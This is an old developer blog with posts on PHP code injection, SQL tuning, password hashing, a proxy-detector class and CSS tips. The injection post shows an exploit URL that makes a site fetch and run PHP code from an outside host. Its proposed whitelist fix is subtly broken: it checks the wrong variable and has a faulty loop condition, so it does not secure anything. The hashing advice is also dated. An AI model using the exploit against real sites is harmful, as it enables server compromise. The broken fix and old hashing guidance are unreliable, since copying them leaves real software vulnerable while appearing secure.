Friday, February 1, 2008

Code Injection Vulnerabilities Explained

Introduction:

There has been a sudden increase of attacks on sites that have Code Injection vulnerabilites. Code Injection is a term used when code is injected straight into a program/script from an outside source for execution at some point in time. These type of vulnerabilities may be many times worse than any other vulnerability, since the security of the website, and possibly of the server, is compromised.


Example:

This example will help you understand what exactly a Code Injection Vulnerability looks like in it's simplest form, and unfortunately, this snipet is actually used in quite a few websites.


... html header ...

<?php
include ('$page');
?>

... html footer ...

Note: There is no php code in the header or footer, it is just HTML.

To some, this is obviously a big mistake. The '$page' variable is never checked, so an attacker can choose what to include. So how does one exploit the above code?



Example Exploit:

An attacker can create a 'txt' file on another server and have it included in the above example. If the attacker puts php code in this 'txt' file, it will be executed on the exploited host.


<?php
phpinfo();
?>


Let's say the vulnerable code is located at 'http://domain/index.php', and the 'txt' file is located at 'http://domain2/code.txt', then the attacker would enter something like this into his browser:


http://domain/index.php?page=http://domain2/code.txt

Then end result would have the exploited website execute the command 'phpinfo()' in between the header and footer where the php include is located.





Explaination:

If you had no problem understanding why this would happen, feel free to skip this section.


The 'include()' function takes data from another file, that is defined in the brackets (), and places the data in the area that the include is executed. So let us run through the program in our minds, and assume the url mentioned above is entered into a browser. In the url, it defines the variable $page as containing 'http://domain2/code.txt', so let us replaces all $page variables with this string:


... html header ...

<?php
include ('http://domain2/code.txt');
?>

... html footer ...

Now the include function takes the code from the url/file mentioned, and places it where the include was called, so the result would be:



... html header ...

<?php
phpinfo();
?>


... html footer ...

Now this is what the server ends up processing. What happens here is the header is displayed, then the php command; 'phpinfo()' is executed, followed by the footer at the end.



What can happen:

The above example had harmless code being executed, but the attacker can execute more malicious code.




  • An attacker can output the contents of any php file raw to the browser, where he can possibly obtain an sql login/password to your database.


  • An attacker can use your website to send out large amounts of spam to various email addresses.
  • An attacker can deface your website.
  • An attacker can obtain private information.
  • An attacker may gain access to the whole server.


This is why it is important to secure your website, and not leave such vulnerabilities open for attack.



Solution:

There is a very simple solution to the above example, and that is to check the variable. In the above example, 99% of the time you know what values $page should be, and therefore can check to see if that is the case.



... html header ...

<?php
//list of valid pages
$pages=array("games/index.html", "news/news.html", "games/1.html");

//check $page variable
$valid=false;
for ($i=0; $i<sizeof($pages) || !$valid; $i++) {
if ($page==$page[$i]) {
$valid=true;
}
}
if ($valid) include($page);
if (!$valid) include($pages[0]); // include the first page if not valid
?>

... html footer ...


Another Solution:

Another solution is to check for invalid characters and setup all the page files in a seperate directory, all together.


Example of where the pages are placed:



  • pages/games.html

  • pages/news.html
  • pages/games-1.html



Code:
... html header ...

<?php
$invalidChars=array("/",".","\\","\"",";");
$page=str_replace($invalidChars,"",$page);
include ("pages/".$page.".html");
?>

... html footer ...

Saturday, January 19, 2008

Merge in Source Control

In theory, this could be very difficult:

* What happens if Jane changed some of the same lines that Joe changed, but in different ways?
* What happens if Jane's changes are functionally incompatible with Joe's?
* What happens if Jane made a change to a C# function which Joe has deleted?
* What happens if Jane changed 80 percent of the lines in the file?
* What happens if Jane and Joe each changed 80 percent of the lines in the file, but each did so for entirely different reasons?
* What happens if Jane's intent was not clear and she cannot be reached to ask questions?

Friday, January 18, 2008

SQL Performance

* One: only "tune" sql after code is confirmed as working correctly.

* Two: ensure repeated sql statements are written absolutely identically to facilate efficient reuse: re-parsing can often be avoided for each subsequent use.

Writing best practices: all sql verbs in upper-case i.e. SELECT; separate all words with a single space; all sql verbs begin on a new line; sql verbs aligned right or left within the initial verb; set and maintain a table alias standard; use table aliases and when a query involves more than one table prefix all column names with their aliases. Whatever you do, be consistent.

* Three: code the query as simply as possible i.e. no unnecessary columns are selected, no unnecessary GROUP BY or ORDER BY.

* Four: it is the same or faster to SELECT by actual column name(s). The larger the table the more likely the savings.
Use:
SELECT customer_id, last_name, first_name, street, city FROM customer; Rather than:
SELECT * FROM customer;

* Five: do not perform operations on DB objects referenced in the WHERE clause:
Use:
SELECT client, date, amount FROM sales WHERE amount > 0;
Rather than:
SELECT client, date, amount FROM sales WHERE amount!= 0;

* Six: avoid a HAVING clause in SELECT statements - it only filters selected rows after all the rows have been returned. Use HAVING only when summary operations applied to columns will be restricted by the clause. A WHERE clause may be more efficient.
Use:
SELECT city FROM country WHERE city!= 'Vancouver' AND city!= 'Toronto'; GROUP BY city;
Rather than:
SELECT city FROM country GROUP BY city HAVING city!= 'Vancouver' AND city!= 'Toronto';

* Seven: when writing a sub-query (a SELECT statement within the WHERE or HAVING clause of another sql statement):
-- use a correlated (refers to at least one value from the outer query) sub-query when the return is relatively small and/or other criteria are efficient i.e. if the tables within the sub-query have efficient indexes.
-- use a noncorrelated (does not refer to the outer query) sub-query when dealing with large tables from which you expect a large return (many rows) and/or if the tables within the sub-query do not have efficient indexes.
-- ensure that multiple sub-queries are in the most efficient order.
-- remember that rewriting a sub-query as a join can sometimes increase efficiency.

* Eight: minimise the number of table lookups especially if there are sub-query SELECTs or multicolumn UPDATEs.

* Nine: when doing multiple table joins consider the benefits/costs for each of EXISTS, IN, and table joins. Depending on your data one or another may be faster.
Note: IN is usually the slowest.
Note: when most of the filter criteria are in the sub-query IN may be more efficient; when most of the filter criteria are in the parent-query EXISTS may be more efficient.

* Ten: where possible use EXISTS rather than DISTINCT.

* Eleven: where possible use a non-column expression (putting the column on one side of the operator and all the other values on the other). Non-column expressions are often processed earlier thereby speeding the query.
Use:
WHERE SALES < 1000/(1 + n);
Rather than:
WHERE SALES + (n * SALES) < 1000;

* Twelve: the most efficient method for storing large binary objects, i.e. multimedia objects, is to place them in the file system and place a pointer in the DB.

* Thirteen: Use inner-joint rather than left/right/cross joint

* Fourteen: In most of cases, GROUP+HAVING < WHERE

Thursday, January 17, 2008

PHP HASH

If you build websites that require users to register it’s your responsibility to keep their passwords safe. And if you’re storing the passwords in plain text then you’re not doing your job properly. It may be that, like Reddit, you think that storing passwords in plain text leads to a better user experience. I happen to agree with you. But then, like Reddit, what happens if your database is stolen? It’s not just your site that is compromised. Since most users use the same password on multiple sites, all those sites have also been compromised.



No data is entirely secure, and if anyone else has access to your webserver (the company managing the server for you?) or your database (the company storing the backups?) then you don’t have total control over the security anyway. So there’s always a chance your database could be stolen. So, the simple rule is to hash your passwords.



Hashing



A hash is a string derived from the original password via a one-way algorithm. In other words, it’s easy to create the hash from the original, but harder (when used for security, ideally impossible) to create the original from the hash. You store the hash in the database, and when the user signs-in you hash the password they sign-in with and compare it to the hash in the database. Something like this



if( $user->passwordhash == sha1( $_POST['password'] ) )


That way, you never store the user’s password.



There are a number of hashing algorithms in PHP, of which md5 and sha1 are the most commonly used. Unfortunately, neither is as secure as they were once thought to be. It would be better to use a more secure hash, and if you have the Hash engine in your PHP installation (included by default since PHP 5.1.2) then you have access to many more algorithms. So a better example would be



if( $user->passwordhash == hash( 'whirlpool', $_POST['password'] ) )


Rainbow tables



But there’s another problem. Once your database is stolen, the thief has plenty of time to crack the passwords using a simple Rainbow Table attack. This involves creating a large selection of hashes based on likely passwords (e.g. every word in the dictionary) and then comparing the hashes with the hashes in your database. Within an hour or so, half the passwords in your database will probably have been cracked.



To prevent this you should salt each password by adding a random string to it (called a salt or nonce). The time consuming part of a rainbow table attack is building the dictionary of hashes. Adding a random salt to the password means the thief has to build a whole new dictionary of hashes for each salt, making a rainbow table attack too time consuming to be viable. Each password should have a different salt, and the salt doesn’t even need to be secret.



The Code bit



So, for secure passwords you need code that looks something like this



// get a new salt - 8 hexadecimal characters long
// current PHP installations should not exceed 8 characters
// on dechex( mt_rand() )
// but we future proof it anyway with substr()
function getPasswordSalt()
{
return substr( str_pad( dechex( mt_rand() ), 8, '0',
STR_PAD_LEFT ), -8 );
}

// calculate the hash from a salt and a password
function getPasswordHash( $salt, $password )
{
return $salt . ( hash( 'whirlpool', $salt . $password ) );
}

// compare a password to a hash
function comparePassword( $password, $hash )
{
$salt = substr( $hash, 0, 8 );
return $hash == getPasswordHash( $salt, $password );
}

// get a new hash for a password
$hash = getPasswordHash( getPasswordSalt(), $password );


You don’t have to attach the salt to the hash, you can instead store them separately within the database, but I like keeping them together in a single string. Equally, the salt needn’t be in hexadecimal, but I like the symmetry with the hexadecimal hash.



Finally, as Thomas Ptacek points out, you don’t want the fastest hash algorithm in the world for this - a fast algorithm is more useful to an attacker than it is to you.



Good Encryption: http://drupal.org/project/phpass

Wednesday, January 16, 2008

Proxy Detector

<?
/**
* Proxy Detector v0.1
* copyrights by: Daantje Eeltink (me@daantje.nl)
* http://www.daantje.nl
*
* first build: Mon Sep 18 21:43:48 CEST 2006
* last build: Tue Sep 19 10:37:12 CEST 2006
*
* Description:
* This class can detect if a visitor uses a proxy server by scanning the
* headers returned by the user client. When the user uses a proxy server,
* most of the proxy servers alter the header. The header is returned to
* PHP in the array $_SERVER.
*
* License:
* GPL v2 licence. (http://www.gnu.org/copyleft/gpl.txt)
*
* Support:
* If you like this class and find it usefull, please donate one or two
* coins to my PayPal account me@daantje.nl
*
* Todo:
* Add open proxy black list scan.
*/

class proxy_detector {

/**
* CONSTRUCTOR
* Set defaults...
*/
function proxy_detector(){
$this->config = array();
$this->lastLog = "";

//set default headers
$this->scan_headers = array(
'HTTP_VIA',
'HTTP_X_FORWARDED_FOR',
'HTTP_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'HTTP_FORWARDED_FOR_IP',
'VIA',
'X_FORWARDED_FOR',
'FORWARDED_FOR',
'X_FORWARDED',
'FORWARDED',
'CLIENT_IP',
'FORWARDED_FOR_IP',
'HTTP_PROXY_CONNECTION'
);
}


/**
* VOID setHeader( STRING $trigger )
* Set new header trigger...
*/
function setHeader($trigger){
$this->scan_headers[] = $trigger;
}


/**
* ARRAY $triggers = getHeaders( VOID )
* Get all triggers in one array
*/
function getHeaders(){
return $this->scan_headers;
}


/**
* VOID setConfig( STRING $key, STRING $value)
* Set config line...
*/
function setConfig($key,$value){
$this->config[$key] = $value;
}


/**
* MIXED $config = getConfig( [STRING $key] )
* Get all config in one array, or only one config value as a string.
*/
function getConfig($key=''){
if($key)
return $this->config[$key];
else
return $this->config;
}


/**
* STRING $log = getLog( VOID )
* Get last logged information. Only works AFTER calling detect()!
*/
function getLog(){
return $this->lastLog;
}


/**
* BOOL $proxy = detect( VOID )
* Start detection and return true if a proxy server is detected...
*/
function detect(){
$log = "";

//scan all headers
foreach($this->scan_headers as $i){
//proxy detected? lets log...
if($_SERVER[$i])
$log.= "trigger $i: ".$_SERVER[$i]."\n";
}

//let's do something...
if($log){
$log = $this->lastLog = date("Y-m-d H:i:s")
."\nDetected proxy server: "
.gethostbyaddr($_SERVER['REMOTE_ADDR'])." ({$_SERVER['REMOTE_ADDR']})\n".$log;

//mail message
if($this->getConfig('MAIL_ALERT_TO'))
mail($this->getConfig('MAIL_ALERT_TO'),"
Proxy detected at {$_SERVER['REQUEST_URI']}",$log);

//write to file
$f = $this->getConfig('LOG_FILE');
if($f){
if(is_writable($f)){
$fp = fopen($f,'a');
fwrite($fp,"$log\n");
fclose($fp);
}else{
die("<strong>Fatal Error:</strong> Couldn't write to file:
'<strong>$f</strong>'<br>
Please check if the path exists and is writable for the webserver or php...");
}
}

//done
return true;
}

//nope, no proxy was logged...
return false;
}
}

?>






Browsing the code you will notice that it uses a log file to store the data so we will have to create one called "
proxy_detector.log". Don't forget to give it the proper permission on the server (CHMOD it to make it writable).



Ok so we already have 2 files. Let's go ahead and create a new one called "proxy_detector.inc.php"
.This one will initiate our class for our future use and do what we want it to do so I suggest you to edit it to suit your needs. Copy paste this code and save it:



<?
/**
* Proxy Detector v0.1
* Implementation example.
*
* Mon Sep 18 23:29:47 CEST 2006
* by: me@daantje.nl
*
* Documentation:
* I use this file as an include at the top of some php files
* to block proxy users from the scripts that included this file.
*
* This file is only an example on how to implement the detector class.
* But it could be usefull as is...
*
* Check the remarks in the class for more documentation.
*/

//include detector class, assuming it's in the same directory as this file...
include_once(dirname(__FILE__)."/proxy_detector.class.php");

//init class
$proxy = new proxy_detector();

//set optional extra triggers, no need to...
//I think I've got all of them covered in the class...
// $proxy->setTrigger('HTTP_SOME_HEADER_1');
// $proxy->setTrigger('HTTP_SOME_HEADER_2');

//set optional config
// $proxy->setConfig('MAIL_ALERT_TO','me@daantje.nl');
// $proxy->setConfig('LOG_FILE','/home/daantje/public_html/proxy/proxy_detector.log');

//start detect
if($proxy->detect()){

//returned true, lets die...
echo "<h1>Proxy detected</h1>";
echo "
Please disable your proxy server in your browser preferences or internet settings,
and try again.<br><br>";

//parse logged info
echo nl2br($proxy->getLog());

//some credits...
echo "<hr><strong>proxy detector v0.1</strong>
- &copy;2006 < a href=\"http://www.daantje.nl\"
target=\"_blank\">daantje.nl</a>";

//and do nothing anymore! (but not in my example)
//exit();
}

//else, proceed as normal, put your code here...
?>

Friday, December 28, 2007

DOM / AJAX


function view_detail(id) {
// delete detail rows


// create a new row with one cell in it
var main_table = document.getElementsByTagName('table')[0];
var table_row = document.getElementById('tr'+id);

var row_index = table_row.rowIndex;
var new_row = main_table.insertRow(row_index+1);
var cell_a = new_row.insertCell(0);
cell_a.colSpan = "7";


// create a input box
var textbox = document.createElement('input');
textbox.type = 'text';
textbox.name = 'txtRow' + id;
textbox.id = 'txtRow' + id;
textbox.size = 220;
cell_a.appendChild(textbox);

// trigger Ajax
xHRObject.onreadystatechange = getData(id);
xHRObject.open("GET", "log_detail.php?id="+id, false);
xHRObject.send(null);

}

function getData(id){
if ((xHRObject.readyState==4) && (xHRObject.status==200))
{
alert("yap");
var textbox = document.getElementById('txtRow'+id);
textbox.value = xHRObject.responseText;
}
}

Saturday, December 1, 2007

10 Trick in CSS design

1. CSS font shorthand rule

When styling fonts with CSS you may be doing this:
font-size: 1em;
line-height: 1.5em;
font-weight: bold;
font-style: italic;
font-variant: small-caps;
font-family: verdana,serif;

There's no need though as you can use this CSS shorthand property:
font: 1em/1.5em bold italic small-caps verdana,serif

Much better! Just a couple of words of warning: This CSS shorthand version will only work if you're specifying both the font-size and the font-family. Also, if you don't specify the font-weight, font-style, or font-varient then these values will automatically default to a value of normal, so do bear this in mind too.
2. Two classes together

Usually attributes are assigned just one class, but this doesn't mean that that's all you're allowed. In reality, you can assign as many classes as you like! For example:
<p class="text side">...</p>

Using these two classes together (separated by a space, not with a comma) means that the paragraph calls up the rules assigned to both text and side. If any rules overlap between the two classes then the class which is below the other in the CSS document will take precedence.
3. CSS border default value

When writing a border rule you'll usually specify the colour, width and style (in any order). For example, border: 3px solid #000 will give you a black solid border, 3px thick. However the only required value here is the border style.

If you were to write just border: solid then the defaults for that border will be used. But what defaults? Well, the default width for a border is medium (equivalent to about 3 to 4px) and the default colour is that of the text colour within that border. If either of these are what you want for the border then you can leave them out of the CSS rule!
4. !important ignored by IE

Normally in CSS whichever rule is specified last takes precedence. However if you use !important after a command then this CSS command will take precedence regardless of what appears after it. This is true for all browsers except IE. An example of this would be:
margin-top: 3.5em !important; margin-top: 2em

So, the top margin will be set to 3.5em for all browsers except IE, which will have a top margin of 2em. This can sometimes come in useful, especially when using relative margins (such as in this example) as these can display slightly differently between IE and other browsers.

(Many of you may also be aware of the CSS child selector, the contents of which IE ignores.)
5. Image replacement technique

It's always advisable to use regular HTML markup to display text, as opposed to an image. Doing so allows for a faster download speed and has accessibility benefits. However, if you've absolutely got your heart set on using a certain font and your site visitors are unlikely to have that font on their computers, then really you've got no choice but to use an image.

Say for example, you wanted the top heading of each page to be ‘Buy widgets’, as you're a widget seller and you'd like to be found for this phrase in the search engines. You're pretty set on it being an obscure font so you need to use an image:
<h1><img src="widget-image.gif" alt="Buy widgets" /></h1>

This is OK but there's strong evidence to suggest that search engines don't assign as much importance to alt text as they do real text (because so many webmasters use the alt text to cram in keywords). So, an alternative would be:
<h1><span>Buy widgets</span></h1>

Now, this obviously won't use your obscure font. To fix this problem place these commands in your CSS document:
h1
{
background: url(widget-image.gif) no-repeat;
}

h1 span
{
position: absolute;
left:-2000px;
}

The image, with your fancy font, will now display and the regular text will be safely out of the way, positioned 2000px to the left of the screen thanks to our CSS rule.
6. CSS box model hack alternative

The box model hack is used to fix a rendering problem in pre-IE 6 browsers, where by the border and padding are included in the width of an element, as opposed to added on. For example, when specifying the dimensions of a container you might use the following CSS rule:
#box
{
width: 100px;
border: 5px;
padding: 20px;
}

This CSS rule would be applied to:
<div id="box">...</div>

This means that the total width of the box is 150px (100px width + two 5px borders + two 20px paddings) in all browsers except pre-IE 6 versions. In these browsers the total width would be just 100px, with the padding and border widths being incorporated into this width. The box model hack can be used to fix this, but this can get really messy.

A simple alternative is to use this CSS:
#box
{
width: 150px;
}

#box div
{
border: 5px;
padding: 20px;
}

And the new HTML would be:

<div id="box"><div>...</div></div>

Perfect! Now the box width will always be 150px, regardless of the browser!
7. Centre aligning a block element

Say you wanted to have a fixed width layout website, and the content floated in the middle of the screen. You can use the following CSS command:
#content
{
width: 700px;
margin: 0 auto;
}

You would then enclose <div id="content"> around every item in the body of the HTML document and it'll be given an automatic margin on both its left and right, ensuring that it's always placed in the centre of the screen. Simple... well not quite - we've still got the pre-IE 6 versions to worry about, as these browsers won't centre align the element with this CSS command. You'll have to change the CSS rules:
body
{
text-align: center;
}

#content
{
text-align: left;
width: 700px;
margin: 0 auto;
}

This will then centre align the main content, but it'll also centre align the text! To offset the second, probably undesired, effect we inserted text-align: left into the content div.
8. Vertically aligning with CSS

Vertically aligning with tables was a doddle. To make cell content line up in the middle of a cell you would use vertical-align: middle. This doesn't really work with a CSS layout. Say you have a navigation menu item whose height is assigned 2em and you insert this vertical align command into the CSS rule. It basically won't make a difference and the text will be pushed to the top of the box.

Hmmm... not the desired effect. The solution? Specify the line height to be the same as the height of the box itself in the CSS. In this instance, the box is 2em high, so we would insert line-height: 2em into the CSS rule and the text now floats in the middle of the box - perfect!
9. CSS positioning within a container

One of the best things about CSS is that you can position an object absolutely anywhere you want in the document. It's also possible (and often desirable) to position objects within a container. It's simple to do too. Simply assign the following CSS rule to the container:
#container
{
position: relative;
}

Now any element within this container will be positioned relative to it. Say you had this HTML structure:

<div id="container"><div id="navigation">...</div></div>

To position the navigation exactly 30px from the left and 5px from the top of the container box, you could use these CSS commands:
#navigation
{
position: absolute;
left: 30px;
top: 5px;
}

Perfect! In this particular example, you could of course also use margin: 5px 0 0 30px, but there are some cases where it's preferable to use positioning.
10. Background colour running to the screen bottom

One of the disadvantages of CSS is its inability to be controlled vertically, causing one particular problem which a table layout doesn't suffer from. Say you have a column running down the left side of the page, which contains site navigation. The page has a white background, but you want this left column to have a blue background. Simple, you assign it the appropriate CSS rule:
#navigation
{
background: blue;
width: 150px;
}

Just one problem though: Because the navigation items don't continue all the way to the bottom of the screen, neither does the background colour. The blue background colour is being cut off half way down the page, ruining your great design. What can you do!?

Unfortunately the only solution to this is to cheat, and assign the body a background image of exactly the same colour and width as the left column. You would use this CSS command:
body
{
background: url(blue-image.gif) 0 0 repeat-y;
}

This image that you place in the background should be exactly 150px wide and the same blue colour as the background of the left column. The disadvantage of using this method is that you can't express the left column in terms of em, as if the user resizes text and the column expands, it's background colour won't.

At the time of writing though, this is the only solution to this particular problem so the left column will have to be expressed in px if you want it to have a different background colour to the rest of the page.